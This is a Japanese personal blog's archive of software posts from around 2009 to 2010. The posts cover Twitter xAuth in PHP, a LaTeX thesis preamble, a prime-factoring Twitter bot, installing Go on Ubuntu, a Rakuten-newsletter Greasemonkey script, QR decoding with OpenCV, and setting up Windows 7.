「ソフトウェア」の最近のエントリー

TwitterでxAuthを使う試み

| | コメント(0) | トラックバック(0) TwitterでxAuthを使う試み

なにやら2010年6月頃に従来使われていたBASIC認証でのAPIコールができなくなるらしく,OAuthまたはxAuthへの対応が必要となっております.ぶっちゃけ,作っているのはbotなので,OAuthのような仰々しい実装(ぇ)は必要ないので,簡易的なxAuthを用いようと考えました.なお,OAuth対応を行うと60分に350回(将来的には1500回)のAPIコールができるようになるらしい.これはかなり自由度が増します.というわけで,今回はxAuthに対応する話を書いておきます.例によって,実装はPHPです.

参考にしたのはこちら.というか,そのまんまです.OAuth/xAuthを使うには準備が必要です.手順は以下の通り.

準備: アプリケーションを Twitter に登録し、consumer key と consumer secret を取得する
      http://twitter.com/oauth_clients/new にアクセスし、登録する

・Webアプリケーションの場合
  (1) consumer key と consumer secret を使って、リクエストトークン(token と token secret)を取得する
  (2) リクエストトークンのうち、token を使って、ユーザにアクセス許可を求めるための URL を生成し、その URL にリダイレクトする(Web ブラウザに表示させる)
  (3) ブラウザに表示された「許可(allow)」ボタンをユーザが押すと、(アプリケーション登録時に申請した)コールバック URL にリダイレクトされる
  (4) コールバック URL へのアクセスを検知したら、その URL 中に含まれる oauth_verifier パラメータを取り出す
  (5) consumer key, consumer secret, token, token secret, oauth_verifier を使って、アクセストークン(token2 と token2 secret)を取得する
  (6) 以後、consumer key, consumer secret, token2, token2 secret を使って、API を実行する

Twitter API 仕様書 日本語訳 第四十八版 (2010年3月2日版)

簡単ですね.え?まぁまぁ.まずは,http://twitter.com/oauth_clients/newにアクセスして,OAuthを使うアプリケーションを登録します.登録が完了すると以下のような画面が出ます.

100304_xauth01.png

Consumer keyとConsumer secretが表示されるので記録します.で,ウノウラボを参考に以下のようなコードを実行して,アクセストークンを取得してみます.


<?php
$consumerKey = 'Consumer key';
$consumerSecret = 'Consumer secret';
$username = "username";
$password = "password";
$xAuthAccessTokenUrl = 'https://api.twitter.com/oauth/access_token';

$response = '';
$parameters = array(
'x_auth_mode' => 'client_auth',
'x_auth_username' => $username,
'x_auth_password' => $password,
);

try {
$oauth = new OAuth($consumerKey, $consumerSecret,
OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_URI);
$oauth->fetch($xAuthAccessTokenUrl, $parameters, OAUTH_HTTP_METHOD_POST);
$response = $oauth->getLastResponse();
} catch (OAuthException $e) {
var_dump($e);
exit;
}
parse_str($response, $accessTokenInfo);
var_dump($accessTokenInfo);
?>

ウノウラボ Unoh Labs: PECL::oauthでxAuthを参考に一部改変

これを実行すればアクセストークンが取得できるはずです.結果を以下に一部抜粋.


object(OAuthException)#2 (7) {
["message:protected"]=>
string(73) "Invalid auth/bad request (got a 401, expected HTTP/1.1 20X or a redirect)"
(中略)
["lastResponse"]=>
(中略)
<error>Client application is not permitted to use xAuth.</error>
}

おやおや?芳しくないですね.401エラーでxAuthの許可がないと言われています.うーん.ドキュメントを読んでみると,こう書いてあります.

In order to get access to this method, you must apply by sending an email to api@twitter.com -- all other applications will receive a HTTP 401 error.

Twitter API Wiki / Twitter REST API Method: oauth access_token for xAuth

よく読めという話である.つまりは,xAuthを行うにはOAuthのアプリケーション登録をするだけではダメで,メールでの申請がさらに必要とのこと.なるなる.なので,早速メールで申請を行います.・・・って,Twitterって日本語が通じないような気がしますよね?というわけで,どのような文面を書けばよいか.以下をパクりました.

Hello.

I'm a developer of '[Your application]', the twitter client application for windows.
My account is @[Your twitter account].
Please apply this app to use xAuth.

Application: [Your application]

Best regards.
-----------------------------------------------
@[Your twitter account]
[some urls]

xauth request - 3d7b1

簡単ね!これに対するお返事が2日後に来ました.結果は許可ならず.要約すると「おまえbotだろ?なんでxAuthつかうん?もっと説明せーや!」とのこと.ううう・・・.アプリ名を「factoring_bot」にしたのがいかんかったか・・・.確かに,OAuthでやれと言われれば,グーの音もでない.「xAuthを使ってみたいんだよ!」って本音を書きたくなったけど,そこはグッとこらえて,高度な言い訳を.そして更に2日後に「プラットフォームはなに?Windowsでいいのけ?」ってお返事が.ここはクールに「あぁ,最初はWindowsだ.その次はLinux対応だね」って送り返しました.マルチプラットフォームでプログラムを書ける好青年を演じておきました.で,最終的には,コンタクトを始めてから1週間後に以下のメールが来ました.

Your application now has the ability to use XAuth,

おお!!やっと許可されました.粘り強く交渉してみるもんだ.では,先ほど401エラーが返されたプログラムを実行してみましょう.


array(5) {
["oauth_token"]=>
string(50) "oauth_token"
["oauth_token_secret"]=>
string(41) "oauth_token_secret"
["user_id"]=>
string(9) "101753216"
["screen_name"]=>
string(13) "factoring_bot"
["x_auth_expires"]=>
string(1) "0"
}

完璧です.実際にはoauth_tokenとoauth_token_secretには何やらの値が格納されています.ここで見せちゃうとダメだからね^^.ではでは,xAuthを利用してつぶやきをポストしてみましょう.以下のコードを走らせてみます.もちろん,参考コードはウノウラボから.


<?php
$consumerKey = '
Consumer key';
$consumerSecret = '
Consumer secret';
$oauthToken = 'OAuth token';
$oauthTokenSecret = 'OAuth token secret';
$oAuthStatusesUpdateUrl = 'http://api.twitter.com/1/statuses/update.xml';

$response = '';
$parameters = array(
'status' => 'xAuthから投稿テスト♪',
);

try {
$oauth = new OAuth($consumerKey, $consumerSecret,
OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_URI);
$oauth->setToken($oauthToken, $oauthTokenSecret);
$oauth->fetch($oAuthStatusesUpdateUrl, $parameters, OAUTH_HTTP_METHOD_POST);
$response = $oauth->getLastResponse();
} catch (OAuthException $e) {
var_dump($e);
exit;
}
var_dump($response);
?>

で.結果がこちら.

Twitter / 素因数分解ボット「ふぁくたん」: xAuthから投稿テスト♪

アプリ名としてfactoring_botって表示されるのがかっこいい!クール!クール!!クール!!!

まとめ:
TwitterのxAuthはOAuthのライブラリを使って実装可能.xAuthはOAuthのアプリ登録をするだけではダメで,xAuth利用申請をメールで送る必要がある.その際,アプリ名にbotが含まれていると疑われる.というか,最初から自分のアプリを詳細に説明しておけば良いんだと思う.実装のプラットフォームも尋ねられたので,書いておくと良いと思う.実装言語は訊かれなかったけど,アグレッシブに主張した.

OAuth/xAuth採用によって,API制限が少し緩和されるはず.いや,まだfactoring_botにこのテストコードを移植してないけどさ. そのうちにやります.そのうちに・・・.

追い込み乙!というわけで,卒論や修論や博論を仕上げる時期だと思います.理工系の大半はLaTeXで学位論文を仕上げていることかと思います.極少数のWord使いやこだわりの一太郎派がいるかと思いますが,そんな方には無縁の話です.勝手に苦労してください.

さて,重要なお話.特に,オレが過去に書いた修論や博論のテンプレートをベースに執筆している人は要注意.おかしいなぁ・・・.オレが博論を書いていたときは問題がなかったのだが・・・.パッケージ類の説明は避けるとして,プリアンブル部は以下のように指定する.日本語しおり付きで,リンク付きのPDFが作成できます.

%\documentclass[papersize,12pt,oneside,openany]{jsbook} %片面刷り 奇偶同一デザイン
\documentclass[papersize,12pt]{jsbook} %両面刷り 右開き 右起し
\usepackage{amsmath,amssymb}
\usepackage{times}
\usepackage[dvipdfm]{graphicx}
\usepackage{cite}
\usepackage{url}
\setcounter{tocdepth}{2}
\usepackage{atbegshi}
\AtBeginShipoutFirst{\special{pdf:tounicode 90ms-RKSJ-UCS2}}
\usepackage[dvipdfm]{color}
\usepackage[%
dvipdfm,%
pdfstartview={FitH -32768},%
bookmarks=true,%
bookmarksnumbered=true,%
bookmarkstype=toc,%
colorlinks=false,%
linkbordercolor={0 1 1},%
citebordercolor={0 1 0},%
urlbordercolor={0 0 1},%
pdftitle={ふがふが法による超絶技巧組曲の研究},%
pdfsubject={ほげほげ大学 平成21年度博士論文},%
pdfauthor={ラテフ太郎},%
pdfkeywords={fugafuga, 超絶}%
]{hyperref}

ポイントはPDFしおりの文字化け対策と用紙サイズが適切に認識されない問題への対応です.PDFのしおり文字化け問題は昔のエントリーを見てください.documentclassのオプションにpapersizeを付けてやると用紙サイズがdvipsやdvioutに送られます.詳しくはマニュアルを読んでください.参考にしたのはこの情報.だいぶ昔からあった問題みたい・・・.何故,オレが博論執筆していたときは問題が具現化しなかったんだろう??

この設定で勝つる!Wordや一太郎で書かれた論文を超美文章であるLaTeXで圧倒してやるがいい!内容の責任は持てないが.

関連:
dvipdfmxでCSS2009のカメラレディを作る人は読んだ方が良いかもしれないエントリ - 4403 is written
jBibTeX問題を解決した - 4403 is written
情報処理学会論文誌等を執筆時にdvipdfmxでlandscapeしなくて困った人が読むエントリ - 4403 is written
IEEE CSのproceedingを書くときに見るエントリ - 4403 is written
LaTeXでTimes系フォントを埋め込む方法~グレー版 - 4403 is written
hyperref+dvipdfmxで日本語が化けるときに読むエントリ - 4403 is written

もうすぐ海外に行くのです.海の向こう側に行くのです.iPhoneなのでローミングで海外対応だと思われますが,パケ死するという噂なので,通話だけにとどめようと思っています.なので,多くの情報をオフラインで閲覧可能にしておかないといけません.様々なデータをオフラインで閲覧するためのiPhone便利アプリがGoodReaderです.Liteってのもあって,そっちは無料ですが,そっちで出来るかはわからないです.

で.GoodReaderにファイルを転送するには内蔵Webサーバを起動させて,そこからファイルをアップロードするんです.しかしながら,何故か研究室の環境ではそれが上手くいきません.さすがセキュリティの研究室ですねっ!堅牢ですねっ!誰が管理しているんでしょうね?管理者に設定を変更してもらいたいですっ!(うーん.

というわけで,うーんうーんうなっていたところ,学生が「ユーUSBで転送しちゃいなよ!」とアドバイスをくれたので,忠実に実行してみた.使うソフトはi-FunBoxね.

100203_ifunbox01.jpg

接続したらRawファイルシステムを選択して,/User/Media/DCIMの下に適当なフォルダ(図中ではGoodReaderUSB)を作成して,その中にファイルを放り込めばOK.iPhoneのGoodReaderからはこのように見える.

IMG_1130.PNG

USB Foldersってのがあるので選択すると,先ほど作ったフォルダとその中身が.

IMG_1131.PNG

簡単快速ねー!これで長時間の機内でも論文読めちゃう!読書もできるかも?そしてなんと言っても,現地の地図や線路図がばっちり!完璧だー!うおー!

素因数分解botとか面白そうかなと思ってみる。だけど僕には<del>ピアノがない、君に聴かせる</del>腕もないのでとりあえず人力で、189 = 3 * 3 * 3 * 7、1007 = 19 * 53 RT @xagawa [博論] 189pages. 1007kB也

Twitter / MarriageTheorem: 素因数分解botとか面白そうかなと思ってみる。だけど ...

手動で素因数分解を啓蒙されている方が,botを所望しておられました.

Botは書けるけど素因数分解ができないw RT @shokohitsuji: 誰か作ってあげてー。 RT: @MarriageTheorem: 素因数分解botとか面白そうかなと思ってみる。だけど僕には<del>ピアノがない、君に聴かせる</del>腕もないのでとりあえず人力で

Twitter / 4403: Botは書けるけど素因数分解ができないw RT @s ...

そして紆余曲折合って作ることになりました.専用アカウントはfactoring_botです.実装はPHPで,ものすごくナイーブな方法です.実装スピード最優先で.

仕様

  • factorial_botのfriends_timelineから3~10桁の数字を見つけ出し素因数分解の結果をRTする
  • 素因数分解の対象は1発言内で最初に見つかったもののみ
  • replyなどで@を含むメッセージには無反応
  • 素因数分解結果を合わせた発言文字数が140文字を超えた場合はポストしない
  • 5分毎に動作

今のところの不具合のようなもの

  • 手動リフォロー
  • 先頭が0で始まっていても認識する
  • 8桁以上あっても先頭8桁を認識する
  • 既知の素数で順番に割っていくだけの簡単なお仕事です

素因数分解は専門外で全然わからないのですが,素数を探しましょうではなく,ある数字を素因数分解しましょうというときに,最適なアプローチはどんな方法なんでしょうか?既知の素数表を配列で持っておいて,順番で割っていくというのは悪くなさそうな気がしますが・・・.識者の方からのアドバイスを期待します.

今後やろうとしていること

  • 文頭に@factoring_botがある場合(つまりmention)は反応しようかと思う
  • フォロワ以外からのmentionにも反応しようかと思う
  • PublicTLから直近50件を抽出して素因数分解させてRTして知名度を上げる
  • Phytonで書き直し,GAEに移す
  • 自動リフォローを実装する
  • ポスト予定の発言が140文字を超えたら上手いこと切り詰める
  • より桁数の多い数字に対応する

201001261440追記:
ヴァァァーーーーとなったら,10桁の素因数分解ができるようになりました.factoring_botのuser_timelineに流れているmentionには反応します.ただし,文頭に@factoring_botがある場合に限る.相変わらずRTのメッセージが140文字を超えた場合は何もつぶやけない.

201002221703追記:
ハッシュタグに含まれる数字は素因数分解しないようにしました.例えば,以下の文字列は素因数分解の対象外となります.「#2929」「#scis2010」「#2929dan」.なお,これらのハッシュタグを含んでいたとしても,他に素因数分解の対象となる文字列があれば,素因数分解します.

201003022303追記:
RTが140文字を超えるとつぶやけない問題に対応しました.まず,in_reply_to_status_idパラメータに対応しました.これにより,素因数分解対象の元つぶやきを指すことができるようになりました.この効果で,RTメッセージが140文字を超える場合は,元メッセージをバッサリと削除してつぶやくように変更しました.つぶやき例としてはこのような感じです

ボクがこよなく愛用する圧縮解凍ソフトはLhaplusであることは有名な話です.簡単に説明しますと,LhaplusはMyJVNバージョンチェッカ対象ソフトウェアになっているほど,注目度が高いソフトウェアです.さて,Lhaplusは32bitソフトであり,Windows7 x64を利用する私にとってはシェル拡張が使えずに,ひもじい思いをする日々が続いていました.そのため,zipやlhaなどをLhaplusに関連付けても解凍はまぁいいとしても,圧縮が右クリックからできないのは不便で仕方がありませんでした.そのため,シェル拡張ができるからという理由だけで7-Zipを導入していました.

そんなボクですが,相変わらずLhaplusラブなので,ちょっと調べてみました.調べてみましたら,簡単に見つかりました.

Lhaplus標準のシェル拡張では32bi版Windows用しか対応しておらず、残念な思いをしていたので作りました。

Lhaplus x64 shell extension

わっしょーい!完璧!すばらしい!ラブLaplus.略して,ラブプラス

ところで,ATOK2009がx64でうまく動いていません.厳密にはうまく動きすぎているといった方が良いと思うのですが,IMEは64bitモードと32bitモードでは別のものが動くようです.そのため,IEの64bitが起動してしまうと,日本語入力がはちゃめちゃになります.いや,キーコンフィグをいじりまくっているからなんですが・・・.いちいち変更するのが面倒です.どうにかならないでしょうか?誰か教えて,偉い人!

2009年窓の杜大賞においてSkyDrive Explorerなるソフトウェアが銅賞を受賞していたので,使ってみた.まず,このSkyDrive Explorerというのがどういうソフトなのかを説明しよう.簡単に言うと,マイクロソフトのストレージサービスであるSkyDriveをローカルフォルダのように取り扱いましょうというソフト.容量は25GB.領域のでかさは魅力ですが,1ファイル50MBの制限がついていて,使い勝手が悪いです.まぁ,とりあえず,論文でも放り込みまくるとかと思ったので,導入してみた.

まぁダメだ.オレは使いこなせないわ.SkyDrive Explorer自体は大変に便利で,まさにローカルフォルダのように扱えます.ただし,SkyDriveの制限かと思いますが,フォルダをまとめて放り込めません.なので,ファイルしかコピーできません.これは非常に面倒くさい.それから,前述したように,1ファイル50MBの制限があるので,ちょっとでかい写真をzipでまとめてなんてことはできません.そういう用途にはfirestorageが便利ですね.少数のファイルを特定の人と交換する用途なら使い勝手はあるかもしれません.オレはそういうやりとりがないので・・・.

まとめ:
うーん.個人的にはSugarSyncDropboxの方が良いです.

関連:
今更ながら25GオンラインストレージSkyDriveをローカルフォルダ化してみた*ホームページを作る人のネタ帳

091208_twitter01.jpg

Twitter研究会だか,ウェブ学会だか忘れたけど,Twitterをモチーフにしたスライドを使っていたので,インスパイアされてみた.

PowerPoint向けTwitterテンプレートをお持ち帰り(2007/2003/XP/2008 for Mac対応)

細かい微調整は各自でどうぞ.

200912081301追記:
PowerPoint2008 for Macでも問題ナシンコだそうです.

思うところがあって,Greasemonkeyスクリプトを書きました.参考にしたのはDeny Rakuten Newsです.

なんですかこれ?
Infoseekポイントのクリックで楽天スーパーポイントを手に入れられちゃうあれは,クリックすると勝手に楽天ショップのメルマガ登録されたりしますよね?だって,FAQに書いてあるし.

【キャンペーンやその他サービスの利用によるメルマガ配信】

各種キャンペーン(山分けキャンペーンなど)へのエントリーや、懸賞、楽天くじメール、「Infoseek メールdeポイント」掲載のスピードくじのご利用によりメルマガ配信対象となることがあります。

この場合、申し込んでいない楽天のメルマガや利用していない楽天ショップのメルマガが配信されます。

なぜ意図しないメルマガが配信されるのか? 配信されないようにするにはどうしたらいいのですか?

というわけで,メルマガ登録されること自体はいいんですが,このメルマガ配信停止が面倒くさくて泣けます.

091206_rakuten03.jpg

まずはここから楽天ショップメルマガの一覧を取得します.届いたメールのURLをクリックすると次のような画面になります.

091206_rakuten01.jpg

SSでは9件しかありませんが,ちょっと放っておくと数十件になっています.それをひとつひとつチェックボックスを外していかないといけません.これは壮絶に面倒くさいです.チェックボックスを外すだけの簡単なお仕事です.簡単なお仕事は機械にやってもらいましょう.そういうことです.

どうなりますか?

091206_rakuten02.jpg

こうなります.ページ内にあるチェックボックスをすべて外します.それだけです.難しいことは何もしていません.誤動作するかもしれないですけど,自分用なので,こんなもんで.

導入方法
Firefox3.5.5Greasemonkey0.8.20090920.2で動作を確認しています.以下のリンクをクリックすると導入できるんじゃないでしょうか.たぶん.

Deny Rakuten MailをGreasemonkey的に導入する

enjoy!

「Microsoft Office きっず 2007」は、Office 2007用(Word/PowerPoint)カスタマイズツールとして公開され、学校の先生など現場の声を反映して小学生が楽しく使えるようにユーザーインタフェースなどが改良されている。

子ども向けにカスタマイズされた「Microsoft Office きっず 2007」が公開 | パソコン | マイコミジャーナル

ぶっちゃけ,このMicrosoft Office きっず 2007は秀逸だと思う.とりあえず,入れてみたので,ご報告.

capture_30112009_111526.png

すごいでしょ?赤枠でくくりましたが,全スライド一覧がボタン一発です.通常のリボンでも下にあるのですが,なかなか知らない人も多いので,学会発表の時などに「全体のスライドを見せてください」って言われてあたふたするわけですね.わかります.大学生はとりあえずこれを入れてみて,どんな機能があるのかを知るといいかと思う.すごく便利だ.

たぶん,まだ誰も書いていなさそうだから,勢いで書いてみる.今日公開になったような気がするGoogleの新しいプログラミング言語であるGoをUbuntu9.04(x86_64)で動かしてみる.てか,最初は失敗したんだ.なのに,ここの説明通りにやったら成功したんだ.何も違わないのに・・・.なので,手順はそのままです.

$ cd ~
$ mkdir bin
$ export GOROOT=$HOME/go
$ export GOOS=linux
$ export GOARCH=amd64
$ export PATH=$PATH:$HOME/bin
$ source .bashrc
$ sudo apt-get install python-setuptools
$ sudo easy_install mercurial
$ hg clone -r release https://go.googlecode.com/hg/ $GOROOT
$ sudo apt-get install bison gcc libc6-dev ed
$ cd $GOROOT/src
$ ./all.bash
$ cat >hello.go <<EOF
package main
import "fmt"
func main() {
  fmt.Printf("Hello, Go!\n")
}
EOF
$ 6g hello.go
$ 6l hello.6
$ ./6.out
Hello, Go!
$

動いた.そんだけ.

関連:
The Go Programming Language
新プログラミング言語「Go」をCentOSにインストールしてみた « zaru blog

ある日,@expl01tの中のacさんから,こんな依頼を受けました.

@k4403 [ac] 今から依頼したいお仕事の内容をつぶやいてみるテスト.4403さんを「CSS2.0つぶやきプロジェクト」隊長に任命します.2.0の会場でつぶやいたら,表示するようにしたいです.

Twitter / exploit: @k4403 [ac] 今から依頼したいお仕事の内容 ...

ふむ.という漠然とした依頼を受けたので,お互いのイメージを確認してから,作れそうな予感を感じたので,プロトタイプを作成してみた.ご存じの通り,自分で書くコード量は最小にしたいので,作成に当たっては,まず使えるライブラリが無いかどうかを確認しました.結果としては,JuitterというjQueryを使ったライブラリがものごっつ目的のものそのままだったので,活用させていただきました.

というわけで,わずか一晩でプロトタイプは完成し,細かいところを修正・変更しながら,数日で完成しました.簡単でよかった~♪完成品はこちら.

Juitter for CSS×2.0 in CSS2009

jQueryバリバリで書いてます.Fx3.5とChrome4とIE8で動作確認してます.たぶん,モダンブラウザであれば,どれでも動きます.そのため,ぶっちゃけると,HTML+JavaScript+CSSで動いているので,全体を丸々保存すれば,ローカルからでも実行できます.

CSS×2.0当日はこれと同じものを出すかどうか分かりませんが,おおよそこのようなものが展開されていると思います.ご活用いただいて,皆様に楽しんでいただけたら,うれしいですっ!

ちなみに,どうでもいい開発こぼれ話をすると,当初はAIRを使おうかと思っていました.しかしながら,AIRは書いたことがないのでやだなーと思っていた次第です.JSは書いたことがあるので,まだ良かったです.

関連:
CSS×2.0ではTwitterでつぶやいて下さい:exploit&ac:So-net blog

(株)エムソフトは13日、テキストエディター「EmEditor Professional」v9正式版のダウンロード販売を開始した。

(中略)

なお、既存の登録ユーザーがアップグレードする場合は、同サイトの専用ページからv8以前のライセンスキーや購入時のメールアドレスを登録することで、v9のアーカイブとライセンスキーを入手できる。

(中略)

なお同社はv9ベータ版の公開当初、正式版が有償アップグレードになる可能性を示唆していたが、ユーザーの意見などを考慮した結果、従来通り無償でのアップグレードという形で落ち着いた。

窓の杜 - 【NEWS】「EmEditor」v9正式版が公開、スニペットの強化に加えCSVモードや部分編集を搭載

オレご愛用で有名なEmEditorの最新版であるv9が本日から公開されている.有償アップグレード騒動があったり,つい先日研究室用のライセンスを購入した身としては,気が気ではなかったが,無償アップグレードという英断によって,救われたのであった.早速,アップグレード申請を行おう!登録はカスタマーセンターから.

091013_emeditor01.png

ごぶはー!?ついに・・・.オレと一時代を築いてきたテクニカルライセンス(昔取った杵柄)が・・・.なんてこったい・・・.というわけで,我がテクニカルライセンスではv9に進むことができませんでした.仕方がないので,先日購入した研究室のライセンスを間借りしよう.買い足さないといけないなぁ・・・.値段は同じだから,良いけど.

初めてjQueryを使った(やや嘘を含む)のだが,包み隠さず正直にその感想を述べるならば,「超便利」の一言に尽きると思う.JavaScriptでの実装をしたことがないわけではなく,普通のJSとPrototype.jsを少々.本格的にJSで何かを書いたことはないです.そんなボクが,やめればいいのに,クライアントサイドだけでグリグリ動くアプリを作ることに.一応,ほかの言語も検討しました.C言語とPHP.どっちも向かなさそうだったので,JSに頼った次第です.

JSを選んだのには理由があって,Twitterでもつぶやいた(誰も反応しなかったけど)んですが,Pubsubhubbubデモみたいなのを作りたかったんです.

http://www.youtube.com/watch?v=ewQBgbysSOQ&fmt=18#t=2m45s 大まじめなつぶやき.pubsubhubbubのデモvideoにある追加されたのがリアルタイムに更新されていく見せ方はどのように実装するんですか??

Twitter / 4403: http://bit.ly/AAYTg 大まじめなつ ...

で.いろいろと調べた結果,jQueryでできるらしかったのです.それがshow()とhide()なんです.そんなわけで,jQueryでプログラムを書いてみたんですが,テラ便利.何が便利かって,充実のプラグイン.かゆいところまで手が届きすぎます.車輪の再発明は不要なので,ライブラリをグリグリ使わせていただいて,自分が手を加える箇所は最小限に.怠けているんじゃないよ?コードの信頼性を上げているんだよ.オレの書くコードなんて信用ならないもんね.それから「そんなことまでできるの!?」と驚きを隠せないのが,jQuery UI.カラーピッカーやスライダーが秒殺実装可能です.

あとは,なんといっても,Ajaxも簡単にできます.AjaxはJSの醍醐味ですね(ちがう?).当初はサーバサイドにもスクリプト(PHPでやるつもりだった)をおいて,JSONでAjaxな感じを思い描いていたわけですが,想定外にjQueryが強力で,クライアントサイドだけで事足りました.すごいぞ!jQuery!デレデレです.

まとめ:
jQueryラブ. 

関連:
jQuery: The Write Less, Do More, JavaScript Library
Plugins | jQuery Plugins
jQuery UI - Home
jQuery 1.3.2 日本語リファレンス
jQuery入門 – ポンクソフト
jQuery 開発者向けメモ

前回,頓挫しそうだったのでぼやいたら,アドバイスをいただいたので,それに従って追試をしてみた.

まず,そもそもQRコードは読めるのか論だが,qr.quel.jpqr-coder.comの両方で作成したものをそのままlibdecodeqrにかけてみたところ,問題なく読み込めた.素材として,使える.

090924_qrcode01.png

続いて,これを印刷して,ARToolKitベースのあれで読み取って,射影変換したQRコードをlibdecodeqrに食わせてみた.結果からいえば,失敗.が.理由は単純で,QRコードの周りに適切な余白をつけることで,デコードできました.

090924_qrcode02.png

おおむね良好.

ということで,今後プログラムに起こす(連続かつ自動で流れるように)べきこと.

  1. QRコードの四隅の座標を取得する
  2. ネガポジ反転する(てか二値化を反転させておけばいい?)
  3. 射影変換する
  4. 周りに余白をつける
  5. libdecodeqrにデコードさせる

うん.だいたいの道筋はできたし,できそうな気配を感じ取った.射影変換に苦労しなくて良かったのは,画像処理屋でない視点からして嬉しい.

夏の自由研究の話なんですが,結構やばいです.図で説明します.

090918_qr01.jpg

こはカメラから取り込んで,二値化処理をしたQRコードと思われる部分です.うまくとれます.これはok.

090918_qr02.jpg

これは二値化して切り取ったQRコード(傾いている)を射影変換したもの.コードはOpenCVです.うまくいってます.これもok.後は,これをQRコードとしてデコードすればよろしい.

090918_qr03.jpg

これがいただけない.射影変換したQRコードをネガポジ反転して,QRコードデコーダであるlibdecodeqrに放り込んだ様子.ステータスコード2009(16進数だよ!)はエラーコードによりますと,以下の通りです.

  • QR_IMAGEREADER_DECODED 0x2000
  • QR_CODEDATA_NOT_SUPPORT_ECI 0x0001
  • QR_CODEDATA_UNRECOVERABLE 0x0008

重傷じゃん!どうすっかなー?こんなにきれいに復元できても,サポート外とか・・・.んなバカなって話ですよ.特定のQRコードしか読めないのかしら??それとも,このQRコードが亜種なのか.QRコードデコーダを自力で書かなくてはならないのだろうか・・・.ボスケテ!

200909200947追記:
nitechの先生からコメント頂きました.P906iでデコードできないそうです.iPhone 3GSの場合,QRコードが悪いのかリーダが悪いのか特定できないくらいに性能が悪いので,旧ケータイのW53CAを使ってみた.結果としては「24」とデコードできました.うーん.これはこれで困る結果だ.どうしよう・・・.

4403-090917.png

皆さまお待ちかね!4403直筆フォントが使えるようになります!滅多に字を書かないことで一部に有名な4403が本気でみかちゃんに対抗してみました!ハートフルな手書きフォントをあなたに!

4403フォントをダウンロードする

というわけで,fontcaptureというサービスを利用してみました.会員登録することなく,自作の英文フォントが作成できます.手順は簡単で,テンプレートを印刷して,そこに文字を入れて,スキャナで読み取って,アップロードしたら完成です.テラ簡単.

この4403の愛が溢れる愛情たっぷりのハートフルフォントを利用すると,堅苦しいIEEEのCopyright Formもこの通り!

090917_copyright.png

御愛用下さいませ.

なかなかMSDNAAにWindows7の日本語版がこないなぁとつぶやいていたのですが,ふとしたことに12日にProfessionalの日本語版がMSDNAAに来てました.もちろん,すぐにダウンロードしたんですが,BitLockerが使えないので,インストールを躊躇していました.

そこにきて,すごいことを思い出しました.Windows Anytime Upgradeです.これは何かって,実のところ,どのエディションのWindows7でも,discの中身は同じで,入力されたキーによって,エディションを切替えているだけなのです.ということは,とりあえずProfessionalをインストールしておいて,Ultimateとかなんかその辺のもうちょっと上位のエディションが使えるようになったら,キーを替えるだけで宜しいと.これでいいじゃん!というわけで,入れてみた.

090913_windows7_03.png

これがWindows7Professional正式版のデスクトップだ!クールクールクール!XPProからなので,新規インストールしています.クリーンインストールで,パソコンもスッキリ!過去は振り返らない!(一部のバックアップを取り逃したのは秘密)

090913_windows7_01.png

インストールした本体は,Let'sNOTE W7(正確にはCF-W7CWU1JC)です.メモリは2GBで,HDDはSamsungのSSDに換装されています.このドライバの状態は,インストール直後です.3つほど認識していません.ACPI関連みたいです.なんだかわからないので,追加ドライバを入れていません.でも,問題なく動いています.グラフィックと無線LANがすぐに動くって,素敵♪

090913_windows7_02.png

エクスペリエンスインデックスは2.4です.グラフィックが足を引っ張っていますね.基本的にオフィスユースなので,問題ないと言えば問題ないですね.SSDを以てしても7.9が出ないのは残念でならない.

というわけで,Windows7を弄くり倒すので忙しいです.第3回SBM研究会のレポートは後日に.

200909140213追記:
2つある不明なドライバの正体が判明.上はHotkeyドライバで,下はPanasonic Miscドライバでした.残るもう1つはIntel Dynamic Power Perfomance Mangement MCH Driverだそうであることがわかりましたが,入れられません.これと同じ症状なので,放置するしかなさそうですね.

200909141050追記:
今のところのトラブル.ファイアウォールが有効になっていると,AOSSに失敗する件.FW無効でok.IntelliPointとIntelliTypeはWindows 7対応のv7が必要.Hotkeyドライバを導入してから,Fn+F1/F2で輝度調整をすると,電源オプションで調整される値しか有効にならない.要するに,調整できないってこと.

200909141139追記:
Hotkeyを消したら,輝度調整余裕です.今,b-mobile3Gをインストール中だけど,認識しないんだが・・・.

200909141203追記:
b-mobile3Gは何度か入れたり消したりを繰り返していたら,繋がった.サポートに電話をして繋がったら繋がった.意味不.ちなみに,最新ドライバ(3.8.4)ではなく,3.7.6で成功しました.最新版でも動くかもしれないけど,怖いから試さない.

PubSubHubbubに対応した.と思う.利用したMT-PubSubHubbubプラグインはこちら.利用しているHubはhttp://pubsubhubbub.appspot.com/です.これで合ってるのかな?ちょっとよく分かってません.間違ってたら,教えて下さい.

090814_windows7_01.png

MSDNAAに英語版と多言語パックはきてた.とりあえず権利を確保.2ch情報だと多言語パックを入れて英語を削除すれば,日本語のクリーンインストール相当になるといわれているが・・・.入れるPCないし.実家はADSLでDLに時間かかるし.

というわけで,日本語版およびもうちょっと上位版はでないの?とリクエスト中.Vistaはbusinessとかenterpriseもあるから,きっと出てくる・・・はず?

200908151702追記:
ProにMUIは適用できないらしい.意味ないじゃん!なにこの組み合わせ?イミフだよ.2ch情報でも,MSDNAAにはまだ来ていないようなので,リクエストを投げても出てこない代物なのかもしれない・・・.いつくるんだー!早く来いー!

昨日というか今朝,jBibTeXが謀反を起こした旨を報告しましたが,解決しました.以下,角藤版W32TeXのChangeLogから引用.

[2009/07/21]
(02) jtex-2.1-w32.tar.bz2
     added jbibtex.exe distributed with NTTjTeX.

[2009/07/20]
(01) ptex-3.1.10-w32.tar.bz2
     renamed jbibtex.exe as pbibtex.exe.

えっと・・・.比較的大きな変更じゃありませんか?それともなに?オレ,時代に乗り遅れまくってる??えーと,オレはpLaTeX(pTeX 3.1415926-p3.1.10 (sjis) (Web2C 2009), kpathsea version 5.0.0)を使っているんですが,pLaTeXって時代遅れなの?NTTjTeXってのが流行?どういうこと?

まとめますと,つまりは7月20日の変更で,jbibtexはpbibtexという名前に変更されたそうです.そんで,別にjbibtexがpbibtexへのシンボリックリンクになるわけではなく,7月21日の変更でjbibtexというのがNTTjTeX用として追加されたっぽそうです.なので,7月21日以降にpLaTeXの人がjBibTeXすると怒られるわけです.

というわけで,pbibtexという存在を知ったので調べてみたら,情報がでてきた.

2009/07/20 更新分から W32TeX では以下のようにコマンド名
が変更されますので、ご注意ください:

(1) jbibtex.exe     ---> pbibtex.exe
(2) upjbibtex.exe   ---> upbibtex.exe
(3) jmpost.exe      ---> pmpost.exe
